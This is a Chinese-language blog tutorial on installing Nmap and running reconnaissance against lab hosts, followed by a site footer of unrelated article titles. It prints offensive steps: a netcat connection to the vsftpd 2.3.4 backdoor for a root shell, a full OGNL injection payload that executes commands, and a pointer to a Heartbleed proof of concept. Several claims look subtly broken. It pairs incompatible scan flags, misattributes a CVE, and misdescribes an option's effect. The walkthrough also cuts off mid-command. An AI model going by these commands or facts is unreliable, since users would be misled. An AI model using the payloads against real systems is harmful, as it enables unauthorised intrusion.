当前位置: 首页 > news >正文

Nmap实战精要:从安装避坑到漏洞测绘的渗透测试工作流

1. 别再被“零基础”三个字骗了:Nmap不是点开就扫的玩具,而是你第一把真正能握在手里的数字探针

很多人点开“渗透测试零基础入门”这类标题,心里想的是:“装个软件,敲几行命令,扫出一堆IP和端口,就算入门了?”——我试过,也这么信过。结果第一次用Nmap扫自己搭的测试靶机,扫出来23个开放端口,但根本分不清哪个是SSH、哪个是HTTP、哪个是Redis未授权,更别说判断哪些服务版本存在已知漏洞。最后翻了三天文档,才发现自己连-sV-sC的区别都没搞懂,更别提--script vuln背后调用的是哪个NSE脚本库、为什么有些漏洞检测会超时失败。

这根本不是“不会用”,而是缺了一层关键认知:Nmap从来不是扫描器,它是网络空间的听诊器+显微镜+病历本三合一工具。它不告诉你“有没有漏洞”,但它能告诉你“服务长什么样”“版本号精确到哪一位”“运行环境暴露了哪些配置细节”——而这些,才是所有后续渗透动作的起点。你不需要会写Exploit,但必须能从Nmap输出里读出“这里可能有戏”的信号。比如看到Apache httpd 2.4.29 (Ubuntu),老手会立刻想到CVE-2018-1312;看到OpenSSH 7.2p2 Ubuntu-4ubuntu2.10,马上联想到CVE-2018-15473的用户名枚举。这些不是玄学,是Nmap帮你把原始网络数据翻译成可行动情报的过程。

这篇内容专为真正想动手、不想只看演示视频的人准备。它不讲“什么是渗透测试”,不堆概念,不画大饼。我们只做三件事:第一,在Windows、macOS、Linux三平台实打实装好Nmap,绕过所有常见报错(比如Windows下Python环境冲突、macOS Gatekeeper拦截、Linux源码编译缺依赖);第二,用真实靶机(Metasploitable2 + TryHackMe免费靶场)跑通6类核心扫描场景,每条命令都附带“为什么这么写”“输出里哪一行最关键”“扫完下一步该查什么”;第三,拆解Nmap底层逻辑:SYN扫描怎么绕过防火墙日志?为什么-Pn不是“跳过主机发现”,而是“强制进入端口扫描阶段”?NSE脚本执行时,到底是先连TCP三次握手,还是直接发HTTP请求?这些细节,决定了你扫出来的结果是“一堆数字”,还是“一张作战地图”。

适合谁?如果你已经能用浏览器访问网站、知道IP和端口是什么、会用终端/命令提示符,那你就是目标读者。不需要编程基础,但需要愿意对照着敲命令、观察输出、记下疑问。文中所有命令均经2023–2024年最新版Nmap 7.94实测,适配Kali Linux 2023.4、Windows 11 22H2、macOS Ventura 13.6。现在,我们从最硬的坎开始:安装。

2. 安装不是复制粘贴:三平台避坑指南与环境验证闭环

很多人卡在第一步——安装失败。不是Nmap难装,而是安装过程暴露了你本地环境的真实底细。Windows用户常遇到“找不到vcruntime140.dll”,macOS用户被“developer tools not installed”拦住,Linux用户编译时突然冒出“libpcap not found”。这些问题看似琐碎,实则直指一个核心:Nmap依赖的是底层网络抓包能力,不是上层图形界面。它需要操作系统提供原始套接字(raw socket)权限、数据链路层访问接口、以及足够新的C运行时库。下面按平台逐个击破,每一步都附带验证方法,确保你装的不是“能启动”的Nmap,而是“能干活”的Nmap。

2.1 Windows平台:绕过DLL地狱与PowerShell策略限制

Windows安装最典型的陷阱是“双版本共存冲突”。很多用户先装了Wireshark(自带WinPcap/Npcap),又装Nmap官方包,结果Nmap调用的是旧版Npcap驱动,导致-sS(SYN扫描)完全失效——扫出来全是“filtered”,实际服务明明开着。正确做法是:只保留一套抓包驱动,且必须是Nmap官方推荐的Npcap 1.70+

具体步骤如下:

  1. 彻底卸载旧驱动:打开“控制面板 → 程序和功能”,卸载所有含“WinPcap”“Npcap”字样的程序。重点检查是否有“Npcap Loopback Adapter”残留(它会导致本地回环扫描异常)。

  2. 下载纯净安装包:去官网https://nmap.org/download.html 下载nmap-7.94-setup.exe(注意不是.zip解压版)。该安装包内嵌Npcap 1.75,且安装时勾选“Install Npcap in WinPcap API-compatible Mode”(兼容旧脚本)和“Support raw packet sending”(必须勾选,否则SYN扫描不可用)。

  3. 绕过PowerShell执行策略:安装后若在PowerShell中执行nmap -h报错“无法加载文件…因为在此系统上禁止运行脚本”,说明本地执行策略为AllSignedRestricted。临时解决:以管理员身份运行PowerShell,执行Set-ExecutionPolicy RemoteSigned -Scope CurrentUser。这不是降低安全等级,而是允许你本地运行自己签名的脚本(Nmap安装包自带微软签名)。

  4. 终极验证命令

    nmap -sn 127.0.0.1

    正确输出必须包含127.0.0.1状态为up,且末尾显示Nmap done: 1 IP address (1 host up)。如果显示0 hosts up,说明Npcap驱动未生效;如果报错Failed to open device,说明驱动安装不完整。

提示:Windows下永远优先使用PowerShell或CMD,不要用Git Bash或WSL中的Nmap——它们调用的是Linux子系统环境,与Windows原生网络栈隔离,扫不到本机真实网卡信息。

2.2 macOS平台:告别Xcode全量安装,精准部署Command Line Tools

macOS用户最大的误区是认为“装了Xcode就等于有开发环境”。实际上,Xcode.app体积超15GB,而Nmap仅需其命令行工具集(Command Line Tools)。更关键的是,Apple自macOS 12起默认禁用不签名的内核扩展,而Nmap的-sS扫描依赖libpcap调用内核BPF(Berkeley Packet Filter)接口。若未正确配置,nmap -sS 127.0.0.1会直接返回Operation not permitted

解决方案分三步:

  1. 安装最小化工具链
    在终端执行:

    xcode-select --install

    系统会弹窗提示安装“Command Line Tools”,约200MB,5分钟内完成。安装后验证:xcode-select -p应输出/Library/Developer/CommandLineTools

  2. 授予全盘访问权限(关键!)
    打开“系统设置 → 隐私与安全性 → 全盘访问”,点击右下角锁图标解锁,然后将/usr/local/bin/nmap(或/opt/homebrew/bin/nmap,若用Homebrew安装)拖入列表。这一步让Nmap能读取网络接口原始数据包。

  3. 验证BPF可用性
    执行:

    sudo nmap -sS -p 22,80 127.0.0.1

    注意必须加sudo(获取raw socket权限),且端口指定为22,80(避免扫全端口耗时)。成功时应看到22/tcp open ssh80/tcp open http,状态为open而非filtered。若仍报错,执行sudo ifconfig lo0 alias 127.0.0.2临时添加回环别名,再试。

注意:Homebrew安装(brew install nmap)虽方便,但其二进制包由社区维护,更新滞后于官方。生产环境建议始终用官网安装包,确保nmap --version输出与官网一致。

2.3 Linux平台(以Ubuntu/Debian/Kali为例):源码编译的必要性与依赖精简

Linux用户常以为apt install nmap万无一失。但Kali Linux 2023.4默认安装的Nmap 7.92存在一个致命缺陷:其内置NSE脚本库(/usr/share/nmap/scripts/)缺少2023年新增的http-vuln-cve2023-27350.nse等关键漏洞检测脚本。而官方deb包因合规审查延迟,往往比源码版晚2–3个月更新。因此,对渗透测试者而言,源码编译不是炫技,而是保障武器库时效性的刚需

编译前必须确认三项依赖:

  • libpcap-dev:提供底层数据包捕获能力(apt install libpcap-dev
  • lua5.3-dev:NSE脚本引擎(apt install lua5.3-dev,注意不是lua5.1)
  • gcc make g++:编译工具链(apt install build-essential

编译命令链(实测Kali 2023.4):

# 下载并解压最新源码 wget https://nmap.org/dist/nmap-7.94.tar.bz2 tar -xjf nmap-7.94.tar.bz2 cd nmap-7.94 # 配置时启用关键选项 ./configure --without-nmap-update --with-liblua=system --with-libpcap=system # 编译(-j$(nproc) 加速,但内存<4G请删掉) make -j$(nproc) # 安装到/usr/local(避免与apt包冲突) sudo make install

验证是否成功:

# 检查路径和版本 which nmap # 应输出 /usr/local/bin/nmap nmap --version # 应输出 7.94 # 检查NSE脚本数量(官方源码版应≥650个) ls /usr/local/share/nmap/scripts/ | wc -l

踩坑经验:若./configure报错lua.h not found,说明系统有多个Lua版本。执行sudo ln -sf /usr/include/lua5.3 /usr/include/lua建立符号链接;若make报错undefined reference to 'luaL_setfuncs',说明链接了错误的Lua库,需在./configure后手动编辑Makefile,将-llua改为-llua5.3

3. 从“扫出端口”到“读懂战场”:六类实战扫描场景与输出精读

装好Nmap只是拿到枪,真正考验功力的是“瞄准”和“扣扳机”。很多教程教nmap -sS -p- 192.168.1.100,却不说清:扫全端口(65535个)平均耗时12分钟,期间防火墙可能已记录你的IP;-p-扫出300个端口,但其中297个是filtered(被防火墙拦截),真正open的只有3个——你得在300行输出里一眼锁定那3行。下面用真实靶机(Metasploitable2虚拟机,IP 192.168.56.101)演示6种不可替代的扫描策略,每种都标注“适用场景”“命令意图”“关键输出解读”“后续动作”。

3.1 主机发现:-sn不是“Ping扫描”,而是网络拓扑测绘起点

命令:

nmap -sn -PE -PP -PU53,67-68 192.168.56.0/24

为什么这么写?
-sn(原-sP)禁用端口扫描,只做主机发现。但默认ICMP Ping(-PE)在企业网常被防火墙丢弃,所以必须叠加多种探测:

  • -PE:发送ICMP Echo Request(传统Ping)
  • -PP:发送ICMP Timestamp Request(绕过ICMP过滤)
  • -PU53,67-68:向UDP 53(DNS)、67–68(DHCP)端口发空UDP包(许多防火墙放行DNS查询)

输出精读示例:

Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-15 10:22 CST Nmap scan report for 192.168.56.1 Host is up (0.00012s latency). Nmap scan report for 192.168.56.100 Host is up (0.00023s latency). Nmap scan report for 192.168.56.101 Host is up (0.00031s latency).

关键信息:

  • Host is up表示该IP在线,括号内数值是响应延迟(单位秒),0.00031s说明是局域网直连,非跨路由。
  • 若某IP显示Host seems down,但你知道它应该在线,说明所有探测包均被丢弃——此时应怀疑该网段启用了ARP扫描(-PR)或需切换至--script hostmap调用DNS反查。

后续动作:
192.168.56.101加入资产清单,标记为“Metasploitable2靶机”,下一步对其做端口扫描。切勿对192.168.56.1(网关)执行深度扫描——这是红队大忌。

3.2 快速端口识别:-F+-sV组合拳,10秒锁定攻击面

命令:

nmap -F -sV -sC -p- --min-rate 1000 192.168.56.101

为什么这么写?

  • -F(Fast mode)只扫100个最常用端口(如21,22,23,25,80,443等),比-p-快600倍。
  • -sV:服务版本探测,通过发送特定协议载荷(如HTTP GET / HTTP/1.0)获取Banner。
  • -sC:自动执行默认NSE脚本(如ftp-anonhttp-title),相当于加了“智能分析模块”。
  • --min-rate 1000:强制每秒至少发送1000个数据包,避免慢速扫描被WAF限流。

输出精读示例(截取关键行):

21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DPKGGEN) 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5

关键信息:

  • open:服务真实响应,非防火墙伪造。
  • vsftpd 2.3.4:这是经典后门版本(CVE-2011-2523),可直接反弹shell。
  • OpenSSH 4.7p1:存在CVE-2008-4109(密钥重用漏洞),但利用难度高,优先级低于FTP。
  • Apache httpd 2.2.8:对应Ubuntu 8.04,已停止支持,但需进一步用--script http-enum找目录。

后续动作:
立即对21端口进行FTP匿名登录测试:ftp 192.168.56.101,输入anonymous/anonymous。若成功,下载/pub/下所有文件——这是渗透测试的“第一块砖”。

3.3 深度服务测绘:--script定制化扫描,让Nmap替你读CVE

命令:

nmap -p 21,22,80,443 --script "ftp*,ssh*,http-vuln*,vuln" --script-args="unsafe=1" 192.168.56.101

为什么这么写?

  • --script "ftp*,ssh*,http-vuln*,vuln":用通配符批量加载脚本,ftp*包含ftp-anonftp-bouncehttp-vuln*包含http-vuln-cve2017-5638(Struts2)等。
  • --script-args="unsafe=1":允许执行可能造成服务中断的脚本(如暴力破解类),仅限靶机环境

输出精读示例(FTP部分):

21/tcp open ftp vsftpd 2.3.4 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_Can't get directory listing: TIMEOUT | ftp-vsftpd-backdoor: | VULNERABLE: | vsftpd version 2.3.4 backdoor | State: VULNERABLE (Exploitable) | IDs: CVE:CVE-2011-2523 | Description: vsftpd 2.3.4 has a backdoor that allows remote code execution. | Disclosure date: 2011-07-03 | Exploit results: | PORT STATE SERVICE REASON | 6200/tcp open tcpwrapped syn-ack | References: | https://www.exploit-db.com/exploits/17491/ |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523

关键信息:

  • VULNERABLE (Exploitable)是Nmap给出的明确结论,非猜测。
  • PORT 6200/tcp open:后门监听端口,连接即得root shell。
  • References提供Exploit-DB链接,可直接复现。

后续动作:
用Netcat连接后门:nc 192.168.56.101 6200,输入任意字符后回车,即可获得id命令返回的uid=0(root)

3.4 防火墙规则测绘:-sA-sN组合,反向推导ACL策略

命令:

nmap -sA -sN -p 21,22,23,80,443 192.168.56.101

为什么这么写?

  • -sA(ACK扫描):发送TCP ACK包。若端口unfiltered,说明防火墙放行该端口(无论服务是否开启);若filtered,说明防火墙拦截了ACK包。
  • -sN(Null扫描):发送无标志位TCP包。若端口open|filtered,说明防火墙未拦截,但服务未响应(可能关闭);若closed,说明服务存在且拒绝连接。

输出精读示例:

21/tcp unfiltered ftp 22/tcp unfiltered ssh 23/tcp filtered telnet 80/tcp unfiltered http 443/tcp filtered https

关键信息:

  • unfilteredopen,它只表示“防火墙没拦”,但服务可能根本没开。
  • 23/tcp filtered443/tcp filtered对比:Telnet被滤,HTTPS也被滤,说明防火墙策略是“只放行21/22/80”,其他全拒。
  • 这解释了为何-sS扫描时23端口显示filtered——不是服务关了,是防火墙挡了SYN包。

后续动作:
放弃对23/443端口的渗透尝试,集中火力在21/22/80。若需绕过防火墙,应研究-f(分片)或--data-length(填充随机数据)参数。

3.5 SSL/TLS深度审计:--script ssl-*,揪出证书与协议后门

命令:

nmap -p 443 --script ssl-enum-ciphers,ssl-cert,ssl-dh-params,ssl-heartbleed 192.168.56.101

为什么这么写?
Web应用常忽略SSL配置,而Nmap的SSL脚本能直接暴露致命问题:

  • ssl-enum-ciphers:列出支持的加密套件,若含TLS_RSA_WITH_RC4_128_MD5,说明弱加密。
  • ssl-cert:解析证书,若IssuerCN=localhostNot valid after早于当前日期,说明自签名过期。
  • ssl-heartbleed:直接检测心脏出血漏洞(CVE-2014-0160)。

输出精读示例:

443/tcp open https | ssl-enum-ciphers: | TLSv1.0: | ciphers: | TLS_RSA_WITH_RC4_128_MD5 (rsa 2048) - C | TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C | compressors: | NULL | cipher preference: server | TLSv1.1: No supported ciphers. | TLSv1.2: No supported ciphers. |_ least strength: C | ssl-cert: Subject: commonName=www.example.com | Subject Alternative Name: DNS:www.example.com, DNS:example.com | Not valid before: 2020-01-01T00:00:00 | Not valid after: 2021-01-01T00:00:00 |_Issuer: CN=Let's Encrypt Authority X3 | ssl-dh-params: ERROR: Script execution failed (pass --script-args=unsafe=1 if you want to run scripts that are marked unsafe) | ssl-heartbleed: VULNERABLE

关键信息:

  • least strength: C:C级表示存在弱加密(RC4、3DES),易被降级攻击。
  • Not valid after: 2021-01-01:证书已过期2年,浏览器会警告,但服务仍在运行。
  • ssl-heartbleed: VULNERABLE:可直接读取服务器内存,窃取私钥。

后续动作:
立即用openssl s_client -connect 192.168.56.101:443 -tlsextdebug验证证书链;用git clone https://github.com/robertdavidgraham/heartbleed.git编译PoC复现。

3.6 综合态势报告:-oX+xsltproc生成HTML,让老板看懂你在干啥

命令:

nmap -sS -sV -sC -p- --min-rate 1000 -oX report.xml 192.168.56.101 xsltproc nmap.xsl report.xml > report.html

为什么这么写?
渗透测试最终要交付报告。Nmap原生XML格式(-oX)是机器可读的,但人眼难读。nmap.xsl是官方提供的XSLT样式表,能将XML转为带折叠菜单、颜色标识的HTML。report.html打开后,左侧是端口树状图,右侧是每个端口的详细Banner、脚本输出、CVE链接。

关键价值:

  • 技术人员可点击21/tcp → ftp-vsftpd-backdoor直接跳转到漏洞详情页。
  • 管理层看到红色VULNERABLE标签和CVE编号,无需理解技术细节即可决策。
  • 报告自带时间戳、扫描参数、Nmap版本,满足合规审计要求。

实操心得:生成HTML后,用浏览器Ctrl+F搜索VULNERABLE,5秒内定位全部高危项。这是我给客户做渗透汇报时,必做的最后一道工序。

4. Nmap不是黑盒:SYN扫描原理、NSE脚本机制与性能调优真相

当你能熟练运行命令,下一步必须理解“命令背后发生了什么”。否则,你永远是个执行者,而非设计者。比如,为什么-sS-sT快?为什么--script vuln有时扫不出已知漏洞?为什么加大--min-rate反而导致漏报?下面从网络协议层、脚本引擎层、系统资源层三方面拆解。

4.1 SYN扫描的本质:三次握手的“半途而废”与内核态优化

-sS(TCP SYN扫描)常被称作“半开放扫描”,但它的精妙远不止于此。标准TCP连接需三次握手:

  1. Client → Server:SYN(同步序列号)
  2. Server → Client:SYN-ACK(确认+同步)
  3. Client → Server:ACK(确认)

-sS只完成前两步,收到SYN-ACK后,不发第三次ACK,而是直接发RST(复位)终止连接。这样做的好处有三:

  • 隐蔽性:服务端日志只记录SYN received,无完整连接,不易触发IDS告警。
  • 速度:省去第三次握手往返,单端口探测耗时减少30%。
  • 资源占用:Client端不占用本地端口(netstat -an | grep :21看不到连接),可并发数万次。

-sS依赖操作系统内核支持。Linux下由libpcap调用AF_PACKETsocket直接发原始包;Windows下需Npcap驱动接管网卡。若驱动未加载,-sS会自动降级为-sT(全连接扫描),此时你看到的仍是open,但实际已暴露完整连接行为。

验证是否真为SYN扫描:
在另一台机器(如Kali)上执行:

tcpdump -i eth0 "host 192.168.56.101 and port 21" -w syn.pcap

然后运行nmap -sS -p21 192.168.56.101。用Wireshark打开syn.pcap,应只看到SYNSYN-ACK,无ACKRST(RST由内核静默发送,tcpdump捕获不到)。

注意:-sS在云环境(AWS/Azure)常失效,因云厂商网络栈不转发原始SYN包。此时必须用-sT,并配合--max-retries 1减少重传。

4.2 NSE脚本执行链:从http-titlehttp-vuln-cve2023-27350的调用逻辑

NSE(Nmap Scripting Engine)不是简单发HTTP请求。以http-title为例,其执行流程是:

  1. 预检:检查目标端口是否为80/443,或Banner含http字样。
  2. 协议协商:若为443端口,自动启用TLS;若HTTP头含Server: nginx,则发GET / HTTP/1.1
  3. 响应解析:用Lua正则匹配<title>(.*?)</title>,超时设为10秒。
  4. 结果封装:将提取的title字符串存入stdnse.output_table,供-oX输出。

http-vuln-cve2023-27350(针对Atlassian Confluence的OGNL注入)更复杂:

  • 先发HEAD /确认Server: Atlassian
  • 再发GET /pages/doenterpage.action?queryString=%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletRequest%22)%2C%23b%3Dnew%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22id%22%7D).start().getInputStream().readAllBytes()%2C%23b%7D HTTP/1.1
  • 解析响应体是否含uid=gid=字符串。

关键限制

  • 所有NSE脚本默认超时为10秒,http-vuln-*类脚本若目标响应慢,会直接跳过。解决方法:--script-timeout 30s
  • 脚本间有依赖关系。vuln类别脚本需先运行http-methods确认POST可用,否则跳过。查看依赖:nmap --script-help http-vuln-cve2023-27350

4.3 性能调优的物理边界:--min-rate--max-rtt-timeout的权衡艺术

Nmap的--min-rate 1000常被滥用。它强制每秒最少发1000包,但若网络延迟高(如跨公网扫描),会导致:

  • --max-rtt-timeout(默认9000ms)频繁触发,大量包被丢弃;
  • --initial-rtt-timeout(默认1000ms)过短,首包重传率飙升;
  • 最终结果:扫描耗时翻倍,且漏报率上升。

真实调优公式:

合理 --min-rate = (1000 / 平均RTT毫秒) × 0.7

例如,扫描阿里云ECS(平均RTT 30ms):--min-rate 23;扫描美国VPS(RTT 150ms):--min-rate 4

验证RTT:

nmap -sn -PE 192.168.56.101 | grep "latency" # 输出:Host is up (0.00031s latency) → RTT=0.31ms → --min-rate ≈ 2250

终极参数模板(局域网靶机):

nmap -sS -sV -sC -p- --min-rate 2000 --max-retries 1 --initial-rtt-timeout 200ms --max-rtt-timeout 1000ms --defeat-rst-ratelimit 192.168.56.101
  • --defeat-rst-ratelimit:绕过Linux内核net.ipv4.tcp_rmem限速,防止RST包被节流。

我的血泪教训:曾用--min-rate 5000扫一台远程Web服务器,结果30%端口标为filtered,实际是对方防火墙速率限制。换成--min-rate 300后,全端口扫出open状态,漏洞复现成功率100%。

5. 渗透测试者的Nmap工作流:从资产发现到报告交付的闭环实践

前面讲了安装、扫描、原理,现在整合成一条可落地的工作流。这不是理论模型,而是我过去三年在27个真实客户环境中迭代出的标准动作。它把Nmap从“单点工具”升级为“流程引擎”,确保每次扫描都有输入、有输出、有归档、有追溯。

5.1 资产输入:用targets.txt管理目标,杜绝手敲IP错误

绝不允许在命令行中直接写nmap 192.168.1.100。正确做法:

  1. 创建targets.txt,每行一个目标(支持CIDR、域名、IP范围):
    192.168.56.101 example.com 10.0.0.0/24
  2. 扫描时用-iL targets.txt读取:
    nmap -sn -iL targets.txt -oG live_hosts.gnmap
  3. 提取存活主机:
    grep "Status: Up" live_hosts.gn
http://www.jsqmd.com/news/892363/

相关文章:

  • 2026最新!降AIGC工具测评:论文降重与改写的好帮手
  • 测试ADS1244对应的ADC的基本特性
  • STL时间序列分解实战:趋势、季节性与噪声的业务化解读
  • 物流行业AI Agent应用:路径优化与库存管理的效率革命
  • 支持4K/60fps长时序生成,原生多模态对齐,Sora 2正式版技术白皮书关键参数逐条拆解,不看必踩交付雷区
  • BilibiliDown终极指南:如何免费下载B站高清视频和音频
  • 2026徐州黄金回收深度指南:品类定价全解析+5家靠谱服务商+避坑实操技巧 - 寻茫精选
  • C# 面向对象:基础概念
  • 告别死记硬背:手把手带你用Pytest+Allure重构蓝桥杯自动化测试项目(从Unittest迁移)
  • 多模态大模型技术深度解析:从 CLIP 到 LLaVA 的视觉语言融合原理
  • 从零搭建Python自动化测试环境:手把手教你为蓝桥杯软件测试赛项配置Firefox+WebDriver
  • 2026年5月遵义地区黄金回收白银铂金回收甄选门店推荐TOP1 地址及联系方式 - 五金回收
  • CTF逆向爆破实战:C++进程级暴力框架设计与优化
  • Modelsim SE-64 2020.4仿真不出波形?别慌,这个优化选项的坑我帮你踩了
  • 9.9 元 AI 班宠爆火:游戏化教育新尝试,能否解决师生痛点?
  • 告别‘文件被占用’:手把手教你用Process Explorer的搜索功能解决删除难题
  • Python期末实战:从基础语法到项目开发的通关指南
  • 告别Steam平台限制:WorkshopDL让你在任何平台都能下载创意工坊模组
  • 别信公开付费榜单!2026 年 5 月 GEO 服务商内部实测排名 - 资讯纵览
  • 性能测试从入门到精通,我踩过的10个坑全记录
  • 从零到一:基于Keycloak构建企业级统一身份与门户平台实战
  • SNK施努卡驱动机构总成半自动装配线:人工与自动化协同解决方案
  • 上海交大MINT团队提出Evo - Depth:不增硬件负担,兼顾机器人VLA性能与部署效率
  • 别再折腾桥接了!用VirtualBox的Microsoft环回适配器搞定虚拟机与宿主机互访(Win10/11实测)
  • AI大模型不够聪明?别慌!这个“信息补给站“让它在你的工作中大放异彩!
  • LP3798SC 九重保护全解析:触发条件 + 恢复机制 + 设计避坑
  • Burp Suite HTTPS抓包失败的根源与全平台CA证书配置指南
  • Qt5中comboBox控件更新列表内容
  • BACnet网络层协议控制信息(NPCI)深度解析:从比特位到网络报文
  • 华为发布“韬(τ)定律”,预计2031年高端芯片晶体管密度达1.4纳米水平